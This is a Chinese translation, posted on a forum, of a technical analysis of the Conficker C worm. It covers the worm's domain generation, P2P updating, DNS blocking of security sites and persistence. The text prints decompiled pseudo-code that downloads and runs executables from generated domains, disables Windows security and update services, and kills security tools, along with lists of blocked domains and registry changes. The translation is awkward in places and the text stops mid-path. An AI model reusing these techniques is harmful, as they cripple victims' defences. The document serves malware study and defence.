Conficker C 详细资料
本帖最后由 roxiel 于 2009-4-27 13:02 编辑作者:Phillip Porras, Hassen Saidi, and Vinod Yegneswaran
翻译:Roxiel (转载请注明原作者和译者,有错误请EMAIL我 007_power@163.com )
简介
这里提供一个跟踪中的关于 变种C的快照, 称为Conficker C. Conficker 工作小组成员报告 Conficker B 的蜜罐系统中, 它们出现一个新的DLL更新. 尽管互联网上对于此感染的跟踪还不能实现, 我们怀疑此 DLL会通过 Conficker 的互联网交会点机制有传播 ( 全球网络影响 ) (Global Network Impact). 被发现在早上的星期五,2009年3月6日 (PST), 随后其它工作组成员也报告在同一天侦测到这个DLL的重复感染. 基于这一点, 成员们报告以前被感染的机器是通过HTTP互联网交会点机制进行升级. 我们相信爆发变种C的爆发第一次会在2009年4月3日(4月5日UTC).
变种 C的影响
变种 C 代表着Conficker家族的第三个主要变化, 最初版本出现在2008年十一月20日. C区分于早先的 Conficker B. 事实上, 我们估计C与B的基本代码有 14.9% 相似, 如附录 3所示. 而最近报告的变种B + +表示B的 衍生物 , C 集成了B 的线程体系结构和程序逻辑, 包括主要功能的增加,如一个新的点对点 (P2P) 协调频道, 和一个修改的域生成算法 (DGA). 很明显 Conficker 的作者在消除以前对Conficker 的跟踪和治理. Conficker C现在对策阻止这些最近更新的防御措施。
例如,已知的互联网交汇逻辑可能会蒸发,阻止最近所有A 和 B相关联的域注册. C 现在每一天从超过 50,000 随机生成域中选择约定交汇点. C从A的 5个顶级域名 (TLD),B的8个,达到了110个,现在必须努力跟踪和阻止C 潜在的 DNS 查询. 随着最近域空间操做的升级, C 对于那些希望跟踪调查它的组织和个人不只是一个重大挑战, 更突显了在如何进行长期的网络地址和域名空间治理方面的一些弱点.
Conficker 的一个有趣和微观方面探讨是关于其早期采用的二进制的复杂加密,数字签名和用来防止感染机器进行第三方劫持的高级哈希算法。核心上, Conficker的主要目的是为它的作者提供一个安全的二进制更新服务,用来使他们有效地即时控制全球数以百万计的个人电脑。通过使用这些二进制加密的方法,Conficker的作者们能确保其它组织不能将任意二进制文件上载到他们受感染的机器,这些保护覆盖所有 Conficker 更新服务: 互联网交会点缓冲区溢出的下载 re-exploitation 和最新的 P2P 控制协议。
在评估这种机制中,,我们发现 Conficker 作者制订了一种是比一般直接o(∩_∩)o强大的先进的加密协议。 Conficker作者的所有三个加密系统 (RC4、 RSA 和MD-6) 也有一个基本共性。它们都是由麻省理工学院 的Dr. Ron Rivest制作。 此外,特别是MD-6 的使用是个非同寻常的选择,因为它代表最新的加密哈希
算法产生的日期。 事实上,Conficker B 中 的MD-6是为 了Conficker 自己开发极不寻常的TIME LINE。
A 在2008年十月爆发,在大致相同的时间,Dr. Rivest公开发布了MD-6,虽然A使用了SHA-1,但我们现在 2008 年12 月晚间 证实MD-6 集成到 Conficker B(即,Conficker作者在字面上的哈希被公诸于众几个星期后将MD-6纳入散列算法 )。
对于Conficker作者,遗憾的是在1月中旬Dr. Ron Rivest的研究小组提交了一份修订版的MD - 6算法,因为在其实现中发现了缓冲区溢出,这一修订是悄悄进行地,随后更明显地公布的缓冲区溢出是在2009年2月19日。包括了一份强化报告(http://blog.fortify.com/repo/Fortify-SHA-3-Report.pdf) 。现在 我们已确认此缓冲区溢出在Conficker B 中实现,然而,我们也确认这不是作为一种用来控制Conficker主机的溢出利用手段。但是, Conficker开发者显然知道这些事态的发展,因为他们现在已经修复他们的Conficker C中的MD - 6,同样使用Dr. Rivest's的小组发布的修订。显然,作者了解,擅长理解和融会了最新的加密进展,并积极关注的该领域的最新发展。
Conficker变种B和C以及其它最近新出现的恶意软件家族的一个主要特征,是能够终止,禁用,重新配置,或在本地操作系统( OS )和第三方安全服务中留下后门。
我们提供了一个Conficker禁用的安全产品的逻辑(Security Product Disablement logic)的深入的分析,来帮助说明了现代的恶意软件对于安全产品以及微软的反恶意软件的努力的全面挑战。
Conficker很好地说明了安全厂商在积极应对挑战,不仅仅是寻找恶意逻辑,而是要捍卫自己的可用性,完整性,网络为他们持续提供重要的流动恶意软件威胁的最新情报。
或许Conficker C的可怕方面,是它有其可以确定的潜在危害,在漫长的恶意软件流行历史上,只有极少数可以持续渗透感染全球数以百万计的无人驾驶飞机,在最好的情况下,Conficker 也可以作为大规模的互联网诈骗和盗窃持续盈利的平台. 在最坏的情况下,可以在协调统一的信息战o(∩_∩)o中,成为一个不仅会破坏国家甚至能破坏互联网本身的强大的进攻性武器。
最终我们必须承认显示在Conficker的不断发展的设计和实施中的多种技能组合。此次暴发建立在对于互联网范围的编程技术,先进的加密技术,自定义双层代码包装和代码混淆技术,以及对于Windows内部
与安全产品深入了解的基础上。它们率先推出了互联网会合点计划,现在已经集成了先进的P2P协议,这并不需要嵌入式的Peer List。它们不断在互联网中撒下具有新MD5的变种的种子,并适应他们的代码库,以解决最新的阻挠Conficker的企图,他们渗透到世界各地的政府的网站,军事网络,家用电脑,重大基础设施,小网络,和大学。或许比他们至今所做更具威胁的,就是他们的经验和他们将建立的未来。
Conficker C 概述
图 1 说明了 Conficker C 的程序结构和逻辑
1. 在初始化DLL时,它履行的安装逻辑与A和B类似,具有扩展参数 EX:rundll23 *.dll 扩展参数
2. 它检查三个互斥体(mutex),避免在目标主机上进行重复感染。
如果互斥体不存在, 将建立下面形式的3个:
1) "Global\<string>-7";
2) "Global\<string>-99;
3) 互斥体命名建立在伪随机生成的进程ID 的基础上
**前两个互斥的<string>是在每台计算机名上独一无二的,这是计算基于计算机名称的crc32散列和XOR的同一个常数。
3. 然后C为DLL安装一些内存补丁,并嵌入了其它机制以阻止安全软件发现它的存在。
4. 修改主机域名服务( DNS )的应用程序接口(patch dnsapi.dll)来阻止各种安全相关的网络
连接(Domain Lookup Prevention 域名查询预防),并安装一个伪补丁修复445/TCP的漏洞,同时维护一个后门的可再感染特性(Local Host Patch Logic本地主机修补程序逻辑).这个伪补丁保护主机排除由Conficker作者或其它感染的Peers以外的来源的缓冲区溢出。
5. C像Conficker B一样,采用逻辑保卫自己安全的产品,否则试图侦测并移除它。C启动一个禁用安全产品线程,这个线程禁用主机的关键安全服务,如Windows Defender的,以及Windows服务,因为它提供安全补丁和更新。这些改变有效地防止受害主机接收自动软件更新。线程还禁用安全更新的通知,并停用safeboot模式。
6. 以上是第一个线程,随后会产生一个新的终止安全软件进程的线程,监控并关闭与列入黑名单(23个安全产品,补丁和安全性的诊断工具)的名字相匹配进程
7. Conficker C安装复制自己到用户的文件系统,配置注册表以实现开机自启动,它还插入各种无关的随后闲置的注册表项,大概是为了掩盖其存在(混淆C的安装主体文件和其存在的具体位置)。
8. 它会将自己以一个随机命名的DLL复制到位于System32目录, Program Files目录,或用户的临时文件夹中。
9. 它会删除所有感染之前的还原点,使安全的还原失效。
10. 然后简单的验证其DLL的大小,验证失败则自杀。
11. 它调整自己的文件日期为本地的Kernel32.dll文件的日期
12. 设置其文件映像的 NTFS 文件权限,以防止写入和删除权限。
13. 一旦安装完成,该DLL为netsvcs.exe或Svchost.exe创建远程线程,这取决于操作系统(OS)版本。
Conficker C的核心内容是两个线程:一个P2P通信线程,一个domain generation(域名生成)和Internet rendezvous point(互联网会合点)线程第一线包含在代码段,进行了另外一层代码混淆,作者本用来妨碍分析但是也提供了一个明显的点用来深入检查
我们从对等网逻辑上描述P2P协议,P2P协议包括通过TCP和UDP协调Peers的能力,以及下载和运行Win32二进制文件(digitally signed)的能力。
与P2P线程合并的是一个anti-tracing logic(反跟踪逻辑),用来在调试器运行Conficker C 时,杀死Conficker C 进程.此逻辑是为了阻止逆向分析 Conficker C还包括检查HTTP日期的功能,将在对等网逻辑(Peer to Peer Logic)中讨论。
最后,C预示了DGA和查询程序的重大改变 ,将在域生成算法中讨论.在DGA将在2009年4月1日启动,4月1日之前,它会进入一个休眠24小时的循环,然后通过getlocaltime 反复检查日期。进入4月1日的日期检查之前, C将在一个30至90分钟初始随机区间内睡眠。
更具体地说,如果是在本地时间上午7点至11点之内,睡眠30至90分钟。.如果是在本地时间上午8点到11时之间,睡眠间隔将调整到2.5-3.5小时。
然后,将检查网络连接 ,如果已连接将进入域名生成逻辑(domain generation logic)。下一节详细描述了这种逻辑。
域名生成算法 Domain Generation Algorithm
域生成算法和查询程序(下面的Figure 2 )比之前的版本Conficker 有了显着修改。
Figure 2: Domain generation pseudo-code
int domain_name_generation()
{
// local declarations
hMem = 0;
check_if_MS_DEF_PROV();
get_time_from_popular_web_sites();
// baidu.com, google.com, yahoo.com, ask.com, w3.org,
// facebook.com, imageshack.us, rapidshare.com
hMem = GlobalAlloc(0x40u, 0x30D40u); // global array - 50,000 random names
if ( hMem )
{
while ( 1 )
{
counter_domains = counter;
if ( counter >= 50000 )
break;
size_of_name = DGA_random_function() % 6 + 4;
// size of domain name is between 4 and 10 chars
// append "." at the end of the name
random = DGA_random_function();
strcat(domainname, TLD-suffix );
// append 1 of 116 suffixes (from 110 TLDs) to domain name
++counter;
}
// select and query 500 domains
counter_domains = 0;
while ( !success_download && counter_domains < 500 )
{
// random number modulo 50,000
one_in_50000_names = conficker_D_PRNG_function() % 50,000);
hostent = gethostbyname(one_in_50000_names);
// resolve name to a set of IP addresses
if ( hostent )
{
host_address = hostent->address_list; // get list of IPs
array_previously_checked_IPs = host_address;
if ( *host_address )
{
// skip if domain name resolves to multiple IP addresses
if ( !*(host_address + 1) )
{
// skip if IP is local host or other trivial IPs
if ( check_IP_value(host_address) )
{
is_blacklisted_ip = check_if_IP_is_in_ranges(host_address);
// skip if IP is blacklisted
if ( ! is_blacklisted_ip )
{
found = 0;
index = 0;
while (index < counter_domains )
{
if (host_address == array_previously_checked_IPs )
{
found = 1;
break; // break if IP has been previously encountered
}
++index;
}
// skip if IP has been previously encountered
if ( !found )
{
snprintf(Dest, 0x80u, "http://%s", host_address);
success_download = download_and_validate_file(Dest);
// HTTP request to the domain and download valid file
}
}
}
}
}
}
Sleep(...); // sleep small random amount
++counter_domains;
}
}
GlobalFree(hMem);
return success_download;
}// Figure 2 END
在这些潜在的动机变化可能代表了Conficker近期的阴谋,因为它已经禁止了以后的日子里对于Conficker A和B域名的定位,关键的变化是 Conficker C增加了每天产生的域名,潜力的从250至50000的互联网会合点。这50000个域名,只有500个进行了查询,与以前的版本不同,每天只有一次查询。此外,C提供更多对于DNS产生的IP地址的过滤
下面的条件下,IP地址将被拒绝:
1)如果相关查询返回不只一个结果
2)它是127.0.0.1 或其它琐碎的地址
3)它的地址匹配的内部黑名单
4)一个DNS查询返回和原先的相同的IP ,(如果一个组织注册和解析多个Conficker C域名,绑定多个被C感染的IP,感染的计算机将只接受一次解析)
如果没有域名存在或提供返回, C将睡眠24小时,然后将生成一个新的包含50000域名的名单。该算法产生的域名是一套独立于Conficker A和B的,重叠仅在罕见的巧合发生。
每个产生的域名有4至10个字符,其中随机选出的顶级域名是附加以下的列表包含116个后缀得到的(映射到110个顶级域名) :
[ "ac" , "ae" , "ag" , "am" , "as" , "at" , "be" , "bo" , "bz" , "ca" , "cd" , "ch" , "cl" , "cn" , "co.cr" , "co.id" , "co.il" , "co.ke" , "co.kr" , "co.nz" , "co.ug" , "co.uk" , "co.vi" , "co.za" , "com.ag" , "com.ai" , "com.ar" , "com.bo" , "com.br" , "com.bs" , "com.co" , "com.do" , "com.fj" , "com.gh" , "com.gl" , "com.gt" , "com.hn" , "com.jm" , "com.ki" , "com.lc" , "com.mt" , "com.mx" , "com.ng" , "com.ni" , "com.pa" , "com.pe" , "com.pr" , "com.pt" , "com.py" , "com.sv" , "com.tr" , "com.tt" , "com.tw" , "com.ua" , "com.uy" , "com.ve" , "cx" , "cz" , "dj" , "dk" , "dm" , "ec" , "es" , "fm" , "fr" , "gd" , "gr" , "gs" , "gy" , "hk" , "hn" , "ht" , "hu" , "ie" , "im" , "in" , "ir" , "is" , "kn" , "kz" , "la" , "lc" , "li" , "lu" , "lv" , "ly" , "md" , "me" , "mn" , "ms" , "mu" , "mw" , "my" , "nf" , "nl" , "no" , "pe" , "pk" , "pl" , "ps" , "ro" , "ru" , "sc" , "sg" , "sh" , "sk" , "su" , "tc" , "tj" , "tl" , "tn" , "to" , "tw" , "us" , "vc" , "vn" ]
为了解析一系列域名的IP地址,C使用标准的Windows API gethostbyname。
如果查询域名返回一个IP地址,通过C的过滤测试,它会尝试联系IP地址的端口80/TCP ,这里它使用一个单独的 CALL HttpQueryInfo (例如,一个空的HTTP GET请求)如果它成功连接到一个真正的Conficker交会点,服务器将立即发送Win32可执行程序(digitally signed Win32 executable)给客户端执行。这种变异并不产生已经众所周知Conficker的搜索URL字符串(带有 q= or aq= ),相反,空的HTTP请求可能给IDS(入侵检测系统)和证明 network forensic signatures(网络法医签名)带来了更多困难。
变种C通过每隔24小时进行一次的域名查询完成一个周期,而A是每3小时查询一次域名列表, B 是2小时一个周期.在域名生成算法的运行测试中,受感染的客户端可能需要超过4小时才能完成全部500个每日域名查询。
A/B/B++与变种C之间的另一个显着区别是,新变种C采用的下载会话间隔是300秒,如果下载所需时间超过300秒,会话会被结束,C还有一个关于文件尺寸的限制 512kbs,如果下载的尺寸在完成之前下载完,例程退出。即使二进制下载提前停止,数字签字仍然检查。
当C成功下载一个有效的Win32可执行程序,域生成算法的主线程休眠4天,然后恢复域名生成以及与域名的联系。一旦文件被下载,变种C开始验证二进制的数字签名,通过ShellExecute执行启动这个可执行文件。(参见Binary Download and Validation)
点对点逻辑 Peer-to-Peer Logic
Conficker C又展示了一个协调受感染的主机的机制.这种新的协调战略采用了P2P协议,而Conficker的作者已经采取了一些谨慎措施,通过代码混淆阻止对其分析。他们还模糊了实现P2P的二进制下载验证,检查的HTTP日期,反调试部分,以及其他的逻辑。 特别是在P2P的部分,作者试图阻碍Windows API调用的确认,并使用其他代码混淆阻碍分析。附录5的API Recovery Table,包括模糊的API代码偏移。
集成在更广泛的P2P程序逻辑中的是其他一些模糊代码段,举例来说,这些代码段致力于在Conficker感染的主机上建立HTTP服务器通信,Peer扫描逻辑,客户端和服务器端共享的文件共享逻辑
P2P 安装逻辑 P2P Setup Logic
在进入P2P主线程之前,Conficker C动态计算的内存中的导入表,包括模糊的API 的清单。C下一步设置各种注册表项,并创建一个专门使用的P2P服务工作目录。然后使用标准的Microsoft Crypto Library来生成随机数字,这些步骤就是实际的P2P逻辑安装过程。
C在Windows (操作系统而定)标准的默认临时文件目录下创建一个目录
名称为:C:\...\Temp\{%08X-%04X-%04X-%04X-%08X%04X}
这个目录是C用来存储P2P服务下载的有效文件,也作为存储其他信息空间。
Conficker C还会创建一个对关于自身的注册表项:
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\{%08X-%04X-%04X-%04X-%08X%04X}
被感染的节点能像一台服务器一样进行活动,在这个模式下,它将与Conficker P2P网络互动,将文件分发到其他的P2P客户端。进入这个模式前它必须确认在它的P2P临时目录中有一份本地存储的2进制文件,而且文件必须经过作者的数字签名不变(即需要正确的散列和签名)
Internet 日期检验 Internet Date Check
继续进行主要P2P 逻辑之前,C中包含了一套嵌入式域名,它从这个列表其中的一个子集的多个条目联系Web 站点获取当前日期和时间,它对该子集执行DNS查询,也利用黑名单过滤返回的IP地址,如果IP不匹配黑名单,C连接到网站的端口80/TCP ,并发出了一个空的URL的GET头,
例如:
contents.192.168.1.1.40.1143-195.81.196.224.80
GET / HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-ms-xbap, */*
Accept-Language: en-US
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 6.0)
Host: tuenti.com
Connection: Keep-Alive
对此,该网站返回一个标准的URL头,包含了日期和时间戳记,C随后解析此信息来确定其内部系统时间。
下列网站的征询C的日期检查:
寻找 Peers Searching for Peers
Conficker C的端点可以同时采取行动,由P2P的客户端和服务器的存在。为了有效启动这种联动, C打开了2个 UDP服务端口和2个TCP服务端口(监听),可能额外的1个或2个UDP 客户端端口也在使用中,文件的传输可以是双向的,即客户端可以推送文件以及服务器可以接收文件
Conficker C 的P2P逻辑是,通过一套线程来支持Peers扫描和文件接受,主体包含一套7个线程用来协调Conficker的P2P通信,如图3
Figure 3: P2P main thread overview
P2P主线程起先启动5个线程,第一个线程通过call InternetTimeToSystemTime 连接热门门户网站来设置系统时间。
另外两个线程侦听TCP端口,作为一种给其它感染体发送文件的机制,如果一个合法的Conficker C Peer请求文件,则由一个独立的线程反馈该请求,最后另外两个线程协调UDP出站扫描 Conficker Peers。
一旦这个线程开始,C为任何一个传入的连接进入等待模式,在应答一个TCP连接请求时,它启动一个线程来推送文件,签名检查和文件验证也在一个独立的线程中处理,两项验证完毕后,C启动一个特别的线程,使用UDP宣告“这是一个Conficker节点,有一个数字签名过的文件”
在扫描时,C避免某些范围的 IP ( including certain assigned /8 netblocks)
/8s 不扫描的P2P协议为0, 1, 2, 5, 10, 14, 23, 27, 31, 36, 37, 39, 42, 46, 49, 50, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 127, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 191, 197, 以及 223 - 255.
一个传入的连接检查要先验证源IP地址的是否匹配,与域名生成算法的IP验证类似,包括确保一个IP地址不属于黑名单的范围,这些检查都在每次UDP扫描线程生成一个随机peer时进行,在请求文件但是未传送时也进行类似的检查。 有一个独特的由IP地址到每个主机的两个TCP和UDP监听端口的映射,这使得C变种不需要一个超级节点或者一个Peer列表(即C无需嵌入式hitlist找到Peers),这由Storm Worm 首先昭示,它能简单地找到互联网上可能监听的Peers,这个扫描引导为Conficker的P2P网络。然而它还是有可能是一种嵌入式seedlist,不排除其它方法
TCP/UDP P2P 协议 TCP/UDP P2P Protocol
我们理解和重建P2P协议的内部工作机制的努力仍在进行,目前,我们已经发现了P2P行为几个有趣的方面,基于感染主机的TCP/UDP通信,对于基于TCP的通信,我们已经确定某些部分的TCP有效载荷(TCP payload)特别是前两个字节似乎形成了一个头。它们对应于TCP payload - 2 的长度(头的大小)
UDP数据通信的数据大小是个变量,在图4(下图)我们规划了UDP PING packet的数据大小的分配,它看起来遵循幂律分布(power-law distribution),最低值为20字节。少数的C还产生4字节的数据包。UDP连接的活动似乎是一个到TCP活动的前提。(即,安装)。这可能有几个理由,如UDP数据通道协商,TCP数据交换之前的密钥交换。
Figure 4: Datagram size distribution for UDP PING packets
UDP数据包的某些字节序列似乎可以预见,例如,一个字节20的熵计算( UDP连接)图5
Figure 5: P2P byte sequence distribution for UDP PING packets
图中的值比其它在UDP PING packets中的值更普遍,高频值包括
0, 1, 4 (100), 5 (101), 16(10000), 17(10001), 20(10100), 21(10101), 64(100000), 65(100001),
68(100100), 69(100101), 80(101000) and 81(101001)该图表明位0,2,5和6是很重要的。
P2P 文件下载逻辑P2P File Download Logic
在其核心功能中,P2P提供给Conficker覆盖网络一个安全以Peer安全为基础的文件共享服务。 正如以前所讨论,感染无人驾驶飞机的C可作为P2P网络的客户机和服务器。在的TCP服务线程侦测到它的本地临时存储目录保存有经过数字验证的文件时,无人机可能变为一个服务器,一个单独的嵌入式P2P的公共密钥是用来进行这一验证。在一个有效的数字签名的文件已经拥有的情况下,该无人驾驶飞机可分发这个文件给其它Peers。
目前看来,TCP通道是进行文件共享首选连接。客户端下载的文件是经过数字签名验证的,一旦验证通过就保存在本地临时目录里,以后用来给服务线程分发给其它Peers,通过修改注册表项,使下载内容自动执行。
本地主机修补逻辑 Local Host Patch Logic
作为其初始化过程的一部分,所有Conficker变种会在内存中改变某些标准的Windows API。
简言之,所有版本的Conficker (A/B/B++/C)修补
netapi32.dll中的NetpwPatchCanonicalize dnsapi.dll中的DnsQuery dnsrslvr.dll中的SendTo
ntdll.dll中的NtQueryInformationProcess(用于线程混淆)
保护主机避免由其它利用 MS08 - 067的恶意软件再次溢出,同时仍然允许被其他Conficker主机再次感染,原理见 Extensions to Conficker's netapi32.dll Patch
DnsQuery补丁允许Conficker限制主机连接到可能下载补丁和工具来移除本蠕虫的安全公司(和研究员的网站) 见Domain Lookup Prevention章节
NetpwPathCanonicalize 在B++中被修补,用来提供一个签名的二进制文件的URL,在变种C中,为了P2P机制这个修补被放弃了,C中使用的修补与B中使用的修补非常相似。
变种C的内存修补API列表中新加入了InternetGetConnectedState. 该修补程序包括确保IternetGetConnectedState的修补是由Conficker代码或一个已经被调用进程加载的模块,如果不是这种情况,主
线程退出。
安全产品的禁用 Security Product Disablement
Conficker C整合了各种战略,来捍卫它在受害者机器的存在,为了要做到这一点, 变种C用了很多措施以掩盖其存在,关闭或禁用安全产品,或者检测它自身的存在。C对安全产品的o(∩_∩)o在其互斥检查(检测新重复感染)之后马上开始。
在每一个进程初始化时,它执行一个对于主机的DNS解析服务的内存修补,防止查找各种安全产品(和研究)的网站的域名,然后C会产生一个独立的线程来挂起和禁用安全和更新服务,之后进入一个无限循环。因此它不断地搜寻并终止活动的安全产品和补丁,这个步骤在每次C被调用的时候完成
在首次执行时,它安装自身并在感染主机上混淆它的存在,这些步骤能够使它避免被简单的检测和细心的用户清除
它会删除所有感染之前的还原点,使利用还原清除这一方法失效,并设置NTFS文件权限,防止写入和删除,大部分策略也在之前的版本中使用过,但在这里我们找到了一些扩展和更新。它还包括了禁用Windows的防火墙保护某些高阶UDP和TCP端口的逻辑。这些对于防火墙的调整不在初始化时完成,而是在C进入了网络通信的逻辑后完成。
域名查询预防 Domain Lookup Prevention 在每一次进程初始化时,Conficker C采用一个针对dnsapi.dll (Windows XP, 2K)或者针对dnsrslvr.dll (Vista)的内存补丁 ,它没对DLL的文件进行修补,而是只修补它们在内存中的实例。这些DLL包含关于域名解析和缓存的标准Windows API
Conficker修改Windows的DNS查询和缓存服务,用来阻止与各种安全产品供应商和研究网站的通信。
下面的表1是被阻止的域名查询列表(使用空格分隔)
Table 1: Patched blocked domains list
vet. freeav rising unlocker
sans. free-av removal tcpview
nai. fortinet quickheal sysclean
msft. f-secure ptsecurity scct_
msdn. f-prot prevx regmon
llnwd. ewido pctools procmon
llnw. etrust panda procexp
kav. eset onecare ms08-06
gmer. esafe norton mrtstub
cert. emsisoft norman mrt.
ca. dslreports nod32 mbsa.
bit9. drweb networkassociates klwk
avp. defender mtc.sri kido
avg. cyber-ta msmvps kb958
windowsupdate cpsecure msftncsi kb890
wilderssecurity conficker mirage hotfix
virus computerassociates microsoft gmer
virscan comodo mcafee filemon
trojan clamav malware downad
trendmicro centralcommand kaspersky confick
threatexpert ccollomb k7computing avenger
threat castlecops jotti autoruns
technet bothunter ikarus safety.live
symantec avira hauri rootkit
sunbelt avgate hacksoft securecomputing
spyware avast hackerwatch ahnlab
spamhaus arcabit grisoft wireshark
sophos antivir gdata
secureworks anti- agnitum
当域名查询匹配上面的任一字符串时,IP不会成功返回并且主机不会成功连接目标域名,在Vista上,匹配的域名由一个随机垃圾字符串取而代之的,查询则使用这个字符串从而不会成功返回,在Windows XP及更早的OS上,查询仅仅是超时,或连接被挂起
Windows 安全服务的禁止Windows Security Service Disablement
每次当它启动时,Conficker C启动一个线程来禁止安全服务,关闭清除它的软件,此线程负责禁用提供安全补丁和软件升级的Windows服务,有效地防止受害人主机接收自动软件更新。
例如,除了禁用Windows Defender和Windows错误报告服务,还禁用BITS (Background Intelligent Transfer Service). BITS用来使用的Windows Update服务和其他软件的updaters。
图6提供了一个伪代码来描述安全服务的禁用
主程序功能为disable_security_services_and_terminate_conficker_cleaners ( )
它禁用的服务
Windows Security Center Service (wscsvc), Windows Defender Service (WinDefend),
Windows Automatic Update Service (wuauserv), BITS (Background Intelligent Transfer Service),
Windows Error Reporting Service (ERSvc), 以及Windows Error Reporting Service (WerSvc).
它进一步删除Windows Defender的注册运行项,停用安全中心通知( FD6905CE - 952F - 41F1 - 9A6F - 135D9C6622CC ) ,删除安全模式相关注册表项,启动monitor_and_terminate_conficker_cleaners线程(在上面的禁用安全产品处的代码)
首先C以完全控制权限 打开security manager,然后通过一套常驻服务循环,无视所有返回为内核设备报告的服务。如果找到匹配的设备名称,先关闭服务然后等待4秒,设定服务配置永久禁用该服务。
Figure 6: Security service and process disablement logic
BOOL disable_security_services_and_terminate_conficker_cleaners()
{
HANDLE v;
void *ThreadId;
ThreadId = this;
disable_security_service("wscsvc");
disable_security_service("WinDefend");
disable_security_service("wuauserv");
disable_security_service("BITS");
disable_security_service("ERSvc");
disable_security_service("WerSvc");
SHDeleteValueA(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion
\\Run", "Windows Defender");
callSHDeleteKeyW(
HKEY_LOCAL_MACHINE,
"Software\\Microsoft\\Windows\\CurrentVersion\\explorer\\ShellServiceObjects\\
{FD6905CE-952F-41F1-9A6F-135D9C6622CC}");
callSHDeleteKeyW(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\SafeBoot");
v = CreateThread(0, 0, monitor_and_terminate_conficker_cleaners, 0, 0, (DWORD *)
&ThreadId);
return CloseHandle(v);
}
int disable_security_service(LPCSTR lpServiceName)
{
void *hSCObject;
char ServiceStatus;
int v;
result = 0;
hSCObject = OpenSCManagerA(0, 0, SC_MANAGER_ALL_ACCESS);
// open service manager with all access granted
if ( hSCObject )
{
v = OpenServiceA(hSCObject, lpServiceName, 0x20027u);
// open the specified service
if ( v )
{
if ( QueryServiceStatus(v, (struct _SERVICE_STATUS *)&ServiceStatus) )
// query the service status
{
if ( ServiceType != SERVICE_KERNEL_DRIVER )
// check if the service is not a device driver
{
success = ControlService(v, 1u, (struct _SERVICE_STATUS *)
&ServiceStatus); // notifies the service that it should stop
if ( success )
Sleep(4000); // sleep 4 seconds
}
}
result |= ChangeServiceConfigA(v, 0xFFFFFFFFu, 4u, 0xFFFFFFFFu,
0, 0, 0, 0, 0, 0, 0);
// set the service configuration so that the service is never started
CloseServiceHandle(v);
}
CloseServiceHandle(hSCObject);
}
return result;
}
禁止安全产品的线程Security Product Terminator Thread
上一个章节讨论disable_security_services_and_terminate_conficker_cleaners() 函数时,谈到它启动一个独立线程来终止活动的安全进程
下面就是 monitor_and_terminate_conficker_cleaners(),无限从安全进程黑名单进行查找
Figure 7: Security process termination logic
void __stdcall monitor_and_terminate_conficker_cleaners()
{
while ( 1 )
{
terminate_conficker_cleaners();
// terminate processes that are in the list of conficker cleaners
Sleep(1000); // sleep 1 second
}
}
int terminate_conficker_detectors()
{
int result;
int n;
char Str;
int v;
DWORD ProcessId;
result = CreateToolhelp32Snapshot(2u, 0); // open the list of processes
if ( result != -1 )
{
v = Process32First((HANDLE)result, (PROCESSENTRY32 *)&pe);
while ( v )
{
strlwr(&Str);
n = 0;
while ( n < 23 ) // check 23 names of conficker cleaners
{
if ( strstr(&Str, (&array_conficker_cleaners_utilities)) )
// check if the process name has a substring in the array of
// conficker cleaners utilities
terminate_process(ProcessId);
// terminate the process
n++;
}
v = Process32Next(v, (PROCESSENTRY32 *)&pe);
}
result = CloseHandle(v);
}
return result;
}
下列23个进程在C的过程监控线程发现受害人的主机上运行时立即结束:
autoruns - malware removal tool
avenger - antivirus / firewall
confick - cleanup utilities
downad - cleanup utilities
filemon - security utility)
gmer - rootkit detector and remover (gmer.net)
hotfix - security patch or removal tools
kb890 - Microsoft patch
kb958 - Microsoft patch
kido - security patch or removal tools
klwk - Karspersky malware removal tool
mbsa. - Microsoft Baseline Security Analyser
mrt - Microsoft malware removal tool
mrtstub - Microsoft malware removal tool
ms08-06 - Microsoft patch
procexp - process explorer
procmon - process monitor
regmon - registry monitor
scct_ - unknown
sysclean - Trend Micro malware removal tool
tcpview - network packet analysis tool
unlocker - file unlocking utility
wireshark - network packet analysis tool
混淆C的安装以及它的存在Obfuscating C's Installation and Its Presence
像A和B一样,变种C在受害者主机上(引导bootstrapping)DLL时开始混淆它的存在。初始化之前,该DLL 在创建一个受保护的内存段,然后将这一部分为netsvcs或Explorer进程创建远程线程,这取决于操作系统。
它设置SVC 的显示名称(display name)为空,不从loadlib初始化函数返回,有效阻止列表内的Windows公共服务,一旦这个进程被激活,它开始储存它的随机生成文件名的DLL(包括参数),调整DLL的日期为 kernel32.dll的日期。
文件使用下面的目录选择逻辑进行存储:
1)System32 目录
2)Program Files 子目录如下
\\Movie Maker, \\Internet Explorer, \\Windows Media Player, \\Windows NT
3)用户临时文件夹
变种C还修改注册表来保证它的DLL在下次启动时被调用,为了掩饰其注册表项的设置
变种C随机选择,并修改一些注册表项,以混淆它向svchosts或netsvcs注册表修改的部分
下面的字符串被添加到注册表中,以模糊的注册表的Svchost下配置的更改:
App, Audio, DM, ER, Event, help, Ias, Ir, Lanman, Net, Ntms, Ras,
Remote, Sec, SR, Tapi, Trk, W32, win, Wmdm, Wmi, wsc, wuau, xml, access, agent, auto, logon,
man, mgmt, mon, prov, serv, Server, Service, Srv, srv, Svc, svc, System, Time.
下面的字符串被添加到注册表中,以模糊的注册表的netsvcs下配置的更改:
Boot, Center, Config, Driver, Helper, Image, Installer, Manager,
Microsoft, Monitor, Network, Security, Server, Shell, Support, System, Task, Time,
Universal, Update, Windows, Hardware, Control, Audit, Event, Notify, Backup, Trusted,
Component, Framework, Management, Browser, Machine, Logon, Power, Storage, Discovery,
Policy.
防火墙的禁止Firewall Disablement
为了与外部主机的P2P通讯,变种C禁用并封锁一些高阶的TCP和UDP端口,在从GloballyOpenPorts注册表项下列出打开端口后完成,这些端口在每次变种C初始化时确定一次
下面是一个Conficker C运行时修改注册表的例子
SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\Glo
ballyOpenPorts\List, Value Name: 11930:TCP, New Value: 11930:TCP:*:Enabled:PackagesOffice
MSDownloaded
SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\Glo
